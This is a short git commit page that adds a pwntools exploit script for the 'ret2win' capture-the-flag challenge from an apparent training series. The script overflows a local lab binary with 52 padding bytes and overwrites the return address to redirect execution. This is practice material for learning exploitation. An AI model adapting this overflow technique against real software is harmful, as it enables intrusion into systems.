added all ctfs
This commit is contained in:
14
ir0nstone/ret2win/exploit.py
Normal file
14
ir0nstone/ret2win/exploit.py
Normal file
@@ -0,0 +1,14 @@
|
||||
from pwn import *
|
||||
|
||||
p = process('./vuln')
|
||||
|
||||
payload = b'A' * 52
|
||||
payload += p32(0x0804920f)
|
||||
|
||||
log.info(p.clean())
|
||||
|
||||
pause()
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
log.info(p.clean())
|
||||
Reference in New Issue
Block a user